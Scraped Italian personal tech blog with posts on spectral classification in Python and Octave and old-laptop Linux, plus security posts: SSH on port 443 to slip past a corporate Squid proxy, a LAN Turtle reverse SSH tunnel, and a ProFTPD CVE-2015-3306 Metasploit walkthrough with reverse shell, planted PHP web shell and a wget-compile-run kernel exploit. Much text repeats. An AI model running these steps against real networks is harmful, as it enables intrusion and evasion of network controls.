else:
falsePred += cm[row,c]
print('Correct predictions: ', corrPred)
print('False predictions', falsePred)
print ('Accuracy of the multiclass logistic classification is: ', corrPred/(cm.sum()))
------------------------------
Il risultato finale e' seguente
Per prova ho deliberatamente messo nel test dataset uno spettro con una classificazione sbagliata. Il risultato e' che l'algoritmo mi ha riportato un errore di classificazione...quindi direi che funziona
Il dataset e' sicuramente modesto e si possono fare miglioramenti ma direi che lo scopo e' stato raggiunto. La cosa interessante sarebbe ripetere questa esperienza con TensorFlow
sc = StandardScaler()
X_train = sc.fit_transform(X_train)
X_test = sc.transform(X_test)
# Fitting Multiclass Logistic Classification to the Training set
from sklearn.linear_model import LogisticRegression
logisticregression = LogisticRegression()
logisticregression.fit(X_train, y_train)
LogisticRegression(C=1.0, class_weight=None, dual=False, fit_intercept=True,
intercept_scaling=1, max_iter=100, multi_class='ovr', n_jobs=1,
penalty='l2', random_state=None, solver='liblinear', tol=0.0001,
verbose=0, warm_start=False)
# Predicting the Test set results
y_pred = logisticregression.predict(X_test)
print(y_pred)
#lets see the actual and predicted value side by side
y_compare = np.vstack((y_test,y_pred)).T
#actual value on the left side and predicted value on the right hand side
#printing the top 5 values
y_compare[:5,:]
# Making the Confusion Matrix
from sklearn.metrics import confusion_matrix
cm = confusion_matrix(y_test, y_pred)
print(cm)
#finding accuracy from the confusion matrix.
a = cm.shape
corrPred = 0
falsePred = 0
for row in range(a[0]):
for c in range(a[1]):
if row == c:
corrPred +=cm[row,c]
else:
falsePred += cm[row,c]
print('Correct predictions: ', corrPred)
print('False predictions', falsePred)
print ('Accuracy of the multiclass logistic classification is: ', corrPred/(cm.sum()))
------------------------------
Il risultato finale e' seguente
[[2 0 0]
[0 2 0]
[0 0 1]]
('Correct predictions: ', 5)
('False predictions', 0)
('Accuracy of the multiclass logistic classification is: ', 1)
Per prova ho deliberatamente messo nel test dataset uno spettro con una classificazione sbagliata. Il risultato e' che l'algoritmo mi ha riportato un errore di classificazione...quindi direi che funziona
Il dataset e' sicuramente modesto e si possono fare miglioramenti ma direi che lo scopo e' stato raggiunto. La cosa interessante sarebbe ripetere questa esperienza con TensorFlow
venerdì 2 marzo 2018
Evadere da un proxy server (definitivo)
Tempo fa (un bel po') avevo provato ad aprire una sessione SSH attraverso il proxy aziendale fallendo miseramente
Adesso mi sono rimesso a studiare il problema con un po' piu' di attenzione.
Con poca fatica ho scoperto che il prxy aziendale e' uno Squid che di default tiene aperte queste porte
L'intuizione di usare la porta 443 per configurare un server SSH esterno come ponte era giusta ma mancavano un po' di dettagli.
Prima di tutto ho scoperto che un server SSH su Linux puo' essere messo in ascolto su piu' porte..basta aggiungere nella configurazione del demone SSHD /etc/ssh/sshd_config una porta aggiuntiva alla 22 (altrimenti tutti gli altri servizi gia' attivi li perdevo) ovvero la 443
Port 22
Port 443
si ricarica la configurazione ed il server SSH risponde alle due porte (ovviamente il web server non ha la necessita' di https)
la macchina di ufficio e' un Windows e di solito uso Putty. Si deve configurare oltre alla connessione anche il proxy spuntando HTTP ed inserendo IP e porta del proxy
e come direbbe Joe Dalton ... LIBERO!!
Pulizie di (quasi) primavera
Regola numero 1: non tenere bottiglie aperte sulla scrivania del lavoro specialmente quando hai il portatile
Regola numero 2 : non mangiare alla scrivania di lavoro, specialmente cose che si sbriciolano
Regola numero 3 : ricordati di fare pulizia periodica della tastiera
Regola numero 4 : NON PERDERE I TASTI !! (li devi rimontare)
Regola numero 2 : non mangiare alla scrivania di lavoro, specialmente cose che si sbriciolano
Regola numero 3 : ricordati di fare pulizia periodica della tastiera
| Forse devo fare pulizia |
| Piu' nel dettaglio |
mercoledì 28 febbraio 2018
Reverse SSH con Lan Turtle
Un paio un po' di premesse
1) l'hardware non e' male .... il problema e' dal punto di vista software fa veramente schifo. E' molto meglio andare in shell e configurarsi tutto a mano
2) Nonostante abbia pagato la spedizione mi sono trovato la sorpresa della dogana. Non era meglio indicarlo prima ?'
3) l'hardware ripeto non e' male....ma sono cose che si possono fare con qualsiasi Raspberry o simili. L'unico vantaggio reale e' che il dispositivo e' molto anonimo...certo che si prevedeva l'alimentazione POE (e non come unica fonte dal lato USB) non era necessario attaccare un trasformatore od un powerbank che in un rack di rete attirano decisamente l'attenzione. Se si usa una porta USB dello switch si deve installare un dongle Data Blocker per evitare che si apra la porta sul 172.xxx.xxx.xxx
4) E' possibile configurare la Lan Turtle solo se si connettono insieme la USB e il cavo Ethernet. Solo con la USB connessa non si riesce ad entrare in SSH nonostante il dispositivo sia acceso
5) Visto le lamentele di molti utenti NON ho fatto l'update del firmware alla v.4
Dopo le premesse si inizia: Lan Turtle e' un dispositivo che puo' essere utile per amministrare le proprie reti oppure per violare reti altrui...in ogni caso si deve accesso fisico alla rete. E' costituito da una porta USB (che viene configurata come una scheda di rete virtuale) che si usa per la configurazione del dispositivo all'indirizzo 172.16.84.1 (con DHCP Server) ed una porta Ethernet (con un DHCP client). Quando si inserisce in un computer la scheda e' completamente trasparente e non si ha la necessita' di installare driver...tutto il traffico in entrata ed in uscita dal computer viene instradato in modo trasparente tra le due interfacce
La documentazione ufficiale si trova qui https://www.hak5.org/gear/lan-turtle/docs
Una volta entrati come root con la password di default sh3llz (e' richiesto il cambio al primo accesso) si entra in un menu di amministrazione (richiamabile da shell con il comando turtle) ma si fa prima a non usarlo perche' e' molto buggato (almeno per la parte autossh)
Comunque puo' essere interessante fare un giro a questo link per vedere quanti problemi software ha questo dispositivo. In caso di problemi il reset del firmware e' possibile ma non immediato
1) l'hardware non e' male .... il problema e' dal punto di vista software fa veramente schifo. E' molto meglio andare in shell e configurarsi tutto a mano
2) Nonostante abbia pagato la spedizione mi sono trovato la sorpresa della dogana. Non era meglio indicarlo prima ?'
3) l'hardware ripeto non e' male....ma sono cose che si possono fare con qualsiasi Raspberry o simili. L'unico vantaggio reale e' che il dispositivo e' molto anonimo...certo che si prevedeva l'alimentazione POE (e non come unica fonte dal lato USB) non era necessario attaccare un trasformatore od un powerbank che in un rack di rete attirano decisamente l'attenzione. Se si usa una porta USB dello switch si deve installare un dongle Data Blocker per evitare che si apra la porta sul 172.xxx.xxx.xxx
4) E' possibile configurare la Lan Turtle solo se si connettono insieme la USB e il cavo Ethernet. Solo con la USB connessa non si riesce ad entrare in SSH nonostante il dispositivo sia acceso
5) Visto le lamentele di molti utenti NON ho fatto l'update del firmware alla v.4
Dopo le premesse si inizia: Lan Turtle e' un dispositivo che puo' essere utile per amministrare le proprie reti oppure per violare reti altrui...in ogni caso si deve accesso fisico alla rete. E' costituito da una porta USB (che viene configurata come una scheda di rete virtuale) che si usa per la configurazione del dispositivo all'indirizzo 172.16.84.1 (con DHCP Server) ed una porta Ethernet (con un DHCP client). Quando si inserisce in un computer la scheda e' completamente trasparente e non si ha la necessita' di installare driver...tutto il traffico in entrata ed in uscita dal computer viene instradato in modo trasparente tra le due interfacce
La documentazione ufficiale si trova qui https://www.hak5.org/gear/lan-turtle/docs
Una volta entrati come root con la password di default sh3llz (e' richiesto il cambio al primo accesso) si entra in un menu di amministrazione (richiamabile da shell con il comando turtle) ma si fa prima a non usarlo perche' e' molto buggato (almeno per la parte autossh)
Prima di procedere alla configurazione di autossh si deve creare la chiave SSH e si deve effettuare lo scambio con il server esterno da cui controllare Lan Turtle. Per verificare che cio' sia avvenuto in modo corretto se ci ci connette in SSH da shell non dovra' essere richiesta la password (in questa fase ho riscontrato un problema ma i codici di errori erano sparsi per tutto lo schermo...meglio usare le vecchie maniere)
Questa e' l'interfaccia di amministrazione di AutoSSH ... come si vede accanto all'IP del server remoto c'e' un carattere apice...non l'ho messo io...lo mette in automatico Lan Turtle ed il bello e' che lo scrive anche nel file /etc/init.d/autossh rendendolo lo script non eseguibile
Una volta fatta la configurazione si dovrebbe avviare AutoSSH ogni reboot....ma non funziona.
il file /etc/config/autossh configurato a mano e che funziona e' il seguente
-----------------------------------
config autossh
option gatetime '0'
option monitorport '20000'
option poll '600'
option ssh '-i /root/.ssh/id_rsa -N -T -R 2222:localhost:22 luca@xxx.xxx.xxx.xxx'
-----------------------------------
La soluzione per avviare AutoSSH al boot e' quella di configurare il file /etc/rc.local
/etc/init.d/autossh enableComunque puo' essere interessante fare un giro a questo link per vedere quanti problemi software ha questo dispositivo. In caso di problemi il reset del firmware e' possibile ma non immediato
USGS Spectral Library Convex Hull con Octave
Questo post e' l'inizio di un lavoro sulle reti neurali applicate a dati iperspettrali (il tema della mia tesi di dottorato)
Per usare una rete neurale e' necessario avere una ottima base dati di training ed ho scelto l'archivio USGS Spectral Library scaricabile liberamente e con dati in formato testuale
Il primo lavoro da fare e' quello di normalizzare gli spettri. Quando ero all'Universita' avevo accesso ad una licenza di Matlab ma adesso devo impiegare Octave, la versione Open Source di Matlab.
Questo metodo e' descritto nell'articolo
Two GUIs-based analysis tool for spectroradiometer data pre-processing
----------------------------------------------------------------------------------
close all
clear all
filename = 's07HYPRN_Actinolite_HS22.2B_ASDFRb_AREF.txt';
fid = fopen (filename, "r");
conta = 0;
nr = 2;
dati = [];
#aggiunge uno zero in testa
#serve per rendere il calcolo di Convex Hull
#piu' affidabile
dati = [dati;0];
#legge tutte le righe del file saltando
#la prima ed inserendo il tutto in array
while (!feof(fid))
text_line = fgetl(fid);
#salta la prima riga descrittiva
if (conta > 0)
transi = str2num(text_line);
# salta in valori NULL
if (transi > 0)
dati = [dati;transi];
nr = nr +1;
endif
endif
conta = conta + 1;
endwhile
fclose (fid);
#aggiunge uno zero in coda
#serve per rendere il calcolo di Convex Hull
#piu' affidabile
dati = [dati;0];
x = 1:1:nr;
reshape(x,1,nr);
#calcola la convex hull dello spettro
cx = convhull(x,dati);
#rende continua la convex hull
#la convex hull viene calcolata di default
#come una spezzata di segmenti
xq = 1:1:nr;
vq1 = interp1(x(cx),dati(cx),xq);
#divide ogni valore di riflettanza per il corrispondente
#valore della convex hull per ottenere valori normalizzati
dati2 = reshape(dati,1,nr);
normalizzato = dati2./vq1;
#plotta i dati
plot(x(cx),dati(cx),'r-',x,vq1,'b*',x,normalizzato,"g*");
#salvi i dati normalizzati in un file csv
normalizzato = normalizzato(2:nr-1);
#il nome del file normalizzato ha un prefisso "norm_"
filename = ["norm_" filename];
dlmwrite(filename,normalizzato);
Per usare una rete neurale e' necessario avere una ottima base dati di training ed ho scelto l'archivio USGS Spectral Library scaricabile liberamente e con dati in formato testuale
Il primo lavoro da fare e' quello di normalizzare gli spettri. Quando ero all'Universita' avevo accesso ad una licenza di Matlab ma adesso devo impiegare Octave, la versione Open Source di Matlab.
Questo metodo e' descritto nell'articolo
Two GUIs-based analysis tool for spectroradiometer data pre-processing
----------------------------------------------------------------------------------
close all
clear all
filename = 's07HYPRN_Actinolite_HS22.2B_ASDFRb_AREF.txt';
fid = fopen (filename, "r");
conta = 0;
nr = 2;
dati = [];
#aggiunge uno zero in testa
#serve per rendere il calcolo di Convex Hull
#piu' affidabile
dati = [dati;0];
#legge tutte le righe del file saltando
#la prima ed inserendo il tutto in array
while (!feof(fid))
text_line = fgetl(fid);
#salta la prima riga descrittiva
if (conta > 0)
transi = str2num(text_line);
# salta in valori NULL
if (transi > 0)
dati = [dati;transi];
nr = nr +1;
endif
endif
conta = conta + 1;
endwhile
fclose (fid);
#aggiunge uno zero in coda
#serve per rendere il calcolo di Convex Hull
#piu' affidabile
dati = [dati;0];
x = 1:1:nr;
reshape(x,1,nr);
#calcola la convex hull dello spettro
cx = convhull(x,dati);
#rende continua la convex hull
#la convex hull viene calcolata di default
#come una spezzata di segmenti
xq = 1:1:nr;
vq1 = interp1(x(cx),dati(cx),xq);
#divide ogni valore di riflettanza per il corrispondente
#valore della convex hull per ottenere valori normalizzati
dati2 = reshape(dati,1,nr);
normalizzato = dati2./vq1;
#plotta i dati
plot(x(cx),dati(cx),'r-',x,vq1,'b*',x,normalizzato,"g*");
#salvi i dati normalizzati in un file csv
normalizzato = normalizzato(2:nr-1);
#il nome del file normalizzato ha un prefisso "norm_"
filename = ["norm_" filename];
dlmwrite(filename,normalizzato);
lunedì 26 febbraio 2018
LXLE su Sony VAIO VGN-SZ5XN/C
Il Sony VAIO VGN-SZ5XN/C e' stata la mia macchina aziendale per circa un annetto nel 2007 ed era una gran bella macchina per l'epoca...ultra leggera con inserti al carbonio e plastiche cosi' sottili che scricchiolavano sotto la pressione (oltre al rumore delle ventole spesso attive). Ne ho trovato uno su Ebay a 50 euro e non ho potuto fare a meno di ricompralo
Il problema e' che e' ad oggi una macchina datata con 2 Giga di Ram ed un processore che fa molta fatica...non essendoci piu' ChrunchBang (in realta' continuata da BunsenLabs) come distribuzione Linux ho provato LXLE, una versione di Ubuntu LTS apposta per hardware obsoleto (ne esiste una versione anche 32 bit) e devo ammettere che e' molto ben fatta
Il problema e' che e' ad oggi una macchina datata con 2 Giga di Ram ed un processore che fa molta fatica...non essendoci piu' ChrunchBang (in realta' continuata da BunsenLabs) come distribuzione Linux ho provato LXLE, una versione di Ubuntu LTS apposta per hardware obsoleto (ne esiste una versione anche 32 bit) e devo ammettere che e' molto ben fatta
giovedì 22 febbraio 2018
Compromissione CVE-2015-3306
In questo post racconto una esperienza con un macchina compromessa su cui pero' non ho avuto accesso fisico o di shell perche' non da me amministrata
visto che la macchina ospita vari siti Wordpress il primo tentativo e' stato di verificare se sul sito compromesso erano presenti plugin/temi vulnerabili
wpscan -u http://xxxxxxx --enumerate --log
--------------------------------
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://xxxxxxxxx.it/
[+] Started: Wed Feb 21 10:36:40 2018
[+] robots.txt available under: 'http://xxxxxxxxx.it/robots.txt'
[+] Interesting entry from robots.txt: http://xxxxxxxxx.it/wp-admin/admin-ajax.php
[!] The WordPress 'http://xxxxxxxxx.it/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://xxxxxxxxx.it/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <http://xxxxxxxxx.it/>; rel=shortlink
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: SET-COOKIE: wfvt_2345687367=5a8d3d46d77c0; expires=Wed, 21-Feb-2018 10:05:02 GMT; Max-Age=1800; path=/; httponly
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[+] XML-RPC Interface available under: http://xxxxxxxxx.it/xmlrpc.php
[!] Upload directory has directory listing enabled: http://xxxxxxxxx.it/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://xxxxxxxxx.it/wp-includes/
[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator
[!] 1 vulnerability identified from the version number
[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[+] WordPress theme in use: cittinfo - v1.0.0
[+] Name: xxxxxxx - v1.0.0
| Location: http://xxxxxxxxx.it/wp-content/themes/xxx/
| Readme: http://xxxxxxxxx.it/wp-content/themes/xx/readme.txt
| Style URL: http://xxxxxxxxx.it/wp-content/themes/xxxx/style.css
| Theme Name: xxxxx
| Theme URI: https://xxxxxxxxx.it
| Description: xxxx
| Author: xxxx
| Author URI: http://www.xxxx.it
[+] Enumerating installed plugins (only ones with known vulnerabilities) ...
[+] We found 2 plugins:
[+] Name: Ultimate_VC_Addons
| Location: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
| Changelog: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/changelog.txt
[!] Directory listing is enabled: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE
Reference: https://wpvulndb.com/vulnerabilities/8821
Reference: http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/
Reference: https://codecanyon.net/item/ultimate-addons-for-visual-composer/6892199
[i] Fixed in: 3.16.12
[+] Name: js_composer
| Location: http://xxxxxxxxx.it/wp-content/plugins/js_composer/
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Visual Composer <= 4.7.3 - Multiple Unspecified Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/8208
Reference: http://codecanyon.net/item/visual-composer-page-builder-for-wordpress/242431
Reference: https://forums.envato.com/t/visual-composer-security-vulnerability-fix/10494/7
[i] Fixed in: 4.7.4
[+] Enumerating installed themes (only ones with known vulnerabilities) ...
[+] No themes found
[+] Enumerating timthumb files ...
[+] No timthumb files found
[+] Enumerating usernames ...
[+] We did not enumerate any usernames
[+] Finished: Wed Feb 21 10:41:01 2018
[+] Requests Done: 4864
[+] Memory used: 136.785 MB
[+] Elapsed time: 00:04:20
--------------------------------
sh-3.2# nmap -sV -T4 -F 150.217.73.96
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 10:48 CET
Nmap scan report for xxxxxxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.24s latency).
Not shown: 67 filtered ports, 30 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
altrimenti si ha un messaggio del genere
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4444
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Connected to FTP server
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Sending copy commands to FTP server
[*] xxx.xxx.xxx.xxx:80 - Executing PHP payload /test/2jXgD.php
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4444 -> xxx.xxx.xxx.xxx:44882) at 2018-02-21 13:32:20 +0100
visto che la macchina ospita vari siti Wordpress il primo tentativo e' stato di verificare se sul sito compromesso erano presenti plugin/temi vulnerabili
wpscan -u http://xxxxxxx --enumerate --log
--------------------------------
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://xxxxxxxxx.it/
[+] Started: Wed Feb 21 10:36:40 2018
[+] robots.txt available under: 'http://xxxxxxxxx.it/robots.txt'
[+] Interesting entry from robots.txt: http://xxxxxxxxx.it/wp-admin/admin-ajax.php
[!] The WordPress 'http://xxxxxxxxx.it/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://xxxxxxxxx.it/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <http://xxxxxxxxx.it/>; rel=shortlink
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: SET-COOKIE: wfvt_2345687367=5a8d3d46d77c0; expires=Wed, 21-Feb-2018 10:05:02 GMT; Max-Age=1800; path=/; httponly
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[+] XML-RPC Interface available under: http://xxxxxxxxx.it/xmlrpc.php
[!] Upload directory has directory listing enabled: http://xxxxxxxxx.it/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://xxxxxxxxx.it/wp-includes/
[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator
[!] 1 vulnerability identified from the version number
[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[+] WordPress theme in use: cittinfo - v1.0.0
[+] Name: xxxxxxx - v1.0.0
| Location: http://xxxxxxxxx.it/wp-content/themes/xxx/
| Readme: http://xxxxxxxxx.it/wp-content/themes/xx/readme.txt
| Style URL: http://xxxxxxxxx.it/wp-content/themes/xxxx/style.css
| Theme Name: xxxxx
| Theme URI: https://xxxxxxxxx.it
| Description: xxxx
| Author: xxxx
| Author URI: http://www.xxxx.it
[+] Enumerating installed plugins (only ones with known vulnerabilities) ...
[+] We found 2 plugins:
[+] Name: Ultimate_VC_Addons
| Location: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
| Changelog: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/changelog.txt
[!] Directory listing is enabled: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE
Reference: https://wpvulndb.com/vulnerabilities/8821
Reference: http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/
Reference: https://codecanyon.net/item/ultimate-addons-for-visual-composer/6892199
[i] Fixed in: 3.16.12
[+] Name: js_composer
| Location: http://xxxxxxxxx.it/wp-content/plugins/js_composer/
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Visual Composer <= 4.7.3 - Multiple Unspecified Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/8208
Reference: http://codecanyon.net/item/visual-composer-page-builder-for-wordpress/242431
Reference: https://forums.envato.com/t/visual-composer-security-vulnerability-fix/10494/7
[i] Fixed in: 4.7.4
[+] Enumerating installed themes (only ones with known vulnerabilities) ...
[+] No themes found
[+] Enumerating timthumb files ...
[+] No timthumb files found
[+] Enumerating usernames ...
[+] We did not enumerate any usernames
[+] Finished: Wed Feb 21 10:41:01 2018
[+] Requests Done: 4864
[+] Memory used: 136.785 MB
[+] Elapsed time: 00:04:20
--------------------------------
La scansione di Wordpress evidenzia alcuni problemi ma nessun che possa portare ad una compromissione della macchina. Si sa che e' un server Debian con directory listabili sul server apache ed qualche problema di XSS
Passiamo alla scansione dei servizi dove c'e' qualcosa di interessante. Il server FTP mostra una versione vulnerabile
--------------------------------
sh-3.2# nmap -sV -T4 -F 150.217.73.96
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 10:48 CET
Nmap scan report for xxxxxxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.24s latency).
Not shown: 67 filtered ports, 30 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
--------------------------------
Ho quindi provato a costruirmi una macchina di test per ricreare il problema,fare l'exploit con metasploit e verificare se era quello il punto di ingresso
La vulnerabilita' CVE-2015-3306 e' relativa alla versione 1.3.5 ProFTPD sono se e' montato il modulo mod_write. Dato che adesso tutti i pacchetti delle maggiori distribuzioni sono patchati per ripetere l'exploit ho scaricato i sorgenti originali di ProFTPD da questo link compilando a mano con i seguenti comandi
make install
senza loggarsi sul server si puo' verificare se Proftpd e' soggetto alla vulnerabilita'. Basta digitare
site help
e vedere se sono disponibili i comandi CPFR e CPTO (se il modulo mod_write non e' compilato si vedranno solo HELP e CPTO)
ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
CPFR <sp> pathname
CPTO <sp> pathname
HELP
CHGRP
CHMOD
ok il server e' soggetto alla vulnerabilita'. Ho quindi aperto metasploit (su Kali Linux per semplicita') con
msfconsole
use exploit/unix/ftp/proftpd_modcopy_exec
show options
set RHOST xxx.xxx.xxx.xxx (indirizzo numerico remoto)
set SITEPATH /var/www/html/xxxxxx/xxxxx/
(la macchina Debian ha il path della html dir qui)
set TARGETURI /xxxxx/xxxxx
show payloads
use cmd/unix/reverse_perl
set LHOST xxx.xxx.xxx.xxx (ip della macchina che attacca a cui ricevere la reverse shell)
run
nel caso in cui il server non monti il mod_write si ottiene il seguente messaggio
Exploit aborted due to failure: unknown: xxx.xxx.xxx.xxx:21 - Failure copying from /proc/self/cmdline
Ho quindi provato a costruirmi una macchina di test per ricreare il problema,fare l'exploit con metasploit e verificare se era quello il punto di ingresso
La vulnerabilita' CVE-2015-3306 e' relativa alla versione 1.3.5 ProFTPD sono se e' montato il modulo mod_write. Dato che adesso tutti i pacchetti delle maggiori distribuzioni sono patchati per ripetere l'exploit ho scaricato i sorgenti originali di ProFTPD da questo link compilando a mano con i seguenti comandi
./configure --with-modules=mod_copymake
make install
senza loggarsi sul server si puo' verificare se Proftpd e' soggetto alla vulnerabilita'. Basta digitare
site help
e vedere se sono disponibili i comandi CPFR e CPTO (se il modulo mod_write non e' compilato si vedranno solo HELP e CPTO)
ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
CPFR <sp> pathname
CPTO <sp> pathname
HELP
CHGRP
CHMOD
ok il server e' soggetto alla vulnerabilita'. Ho quindi aperto metasploit (su Kali Linux per semplicita') con
msfconsole
use exploit/unix/ftp/proftpd_modcopy_exec
show options
set RHOST xxx.xxx.xxx.xxx (indirizzo numerico remoto)
set SITEPATH /var/www/html/xxxxxx/xxxxx/
(la macchina Debian ha il path della html dir qui)
set TARGETURI /xxxxx/xxxxx
show payloads
use cmd/unix/reverse_perl
set LHOST xxx.xxx.xxx.xxx (ip della macchina che attacca a cui ricevere la reverse shell)
run
nel caso in cui il server non monti il mod_write si ottiene il seguente messaggio
altrimenti si ha un messaggio del genere
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4444
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Connected to FTP server
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Sending copy commands to FTP server
[*] xxx.xxx.xxx.xxx:80 - Executing PHP payload /test/2jXgD.php
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4444 -> xxx.xxx.xxx.xxx:44882) at 2018-02-21 13:32:20 +0100
a questo punto si e' aperta una shell (anche se a video non compare nessun messaggio) e digitando i comandi si puo' interagire con il server remoto
whoami (si ha come risposta www-data)
ifconfig
uname -a
nel webserver troveremo il nuovo file 2jXgD.php con questo contenuto
proftpd: xxx.xxx.xxx.xxx:36289: SITE CPTO /tmp/.<?php passthru($_GET['4PuZG']);?>msf exploit(unix/ftp/proftpd_modcopy_exec) >
una volta entrati nel server il passo successivo e' quello di fare una scalata dei privilegi locali
e questo non e' banale
Per esempio se uname ci dice che e' in uso un kernel 4.14.0-rc4 si puo' tentare questa strada
e questo non e' banale
Per esempio se uname ci dice che e' in uso un kernel 4.14.0-rc4 si puo' tentare questa strada
wget https://www.exploit-db.com/download/43029.c
gcc 43029.c
./a.out ....
gcc 43029.c
./a.out ....
mercoledì 21 febbraio 2018
Microcopio USB su Android
Ho provato ad usare il telefono Android come piccolo microscopio portatile accompiandolo via USB/OTG
Per fare questa operazione e' necessario che il firmware Android del telefono abbia compilato il modulo v4l (video for Linux) in caso contrario non sara' possibile fare niente
Nonostante il costo ridicolo del microscopio (a cui aggiungere l'adattatore OTG) il tutto funziona sorprendentemente bene
Per fare questa operazione e' necessario che il firmware Android del telefono abbia compilato il modulo v4l (video for Linux) in caso contrario non sara' possibile fare niente
Nonostante il costo ridicolo del microscopio (a cui aggiungere l'adattatore OTG) il tutto funziona sorprendentemente bene
Iscriviti a:
Post (Atom)
LLama3 Anita
A seguito di questo post ho provato a vedere ho provato a vedere cosa accadeva ad utilizzare un modello specifico per la lingua italiana in...
-
Aggiornamento questo e' la risposta degli sviluppatori First of all, almost all operating systems on both mobile and laptop/desktop n...
-
La scheda ESP32-2432S028R monta un Esp Dev Module con uno schermo TFT a driver ILI9341 di 320x240 pixels 16 bit colore.Il sito di riferiment...
-
Questo post e' a seguito di quanto gia' visto nella precedente prova Lo scopo e' sempre il solito: creare un sistema che permet...




































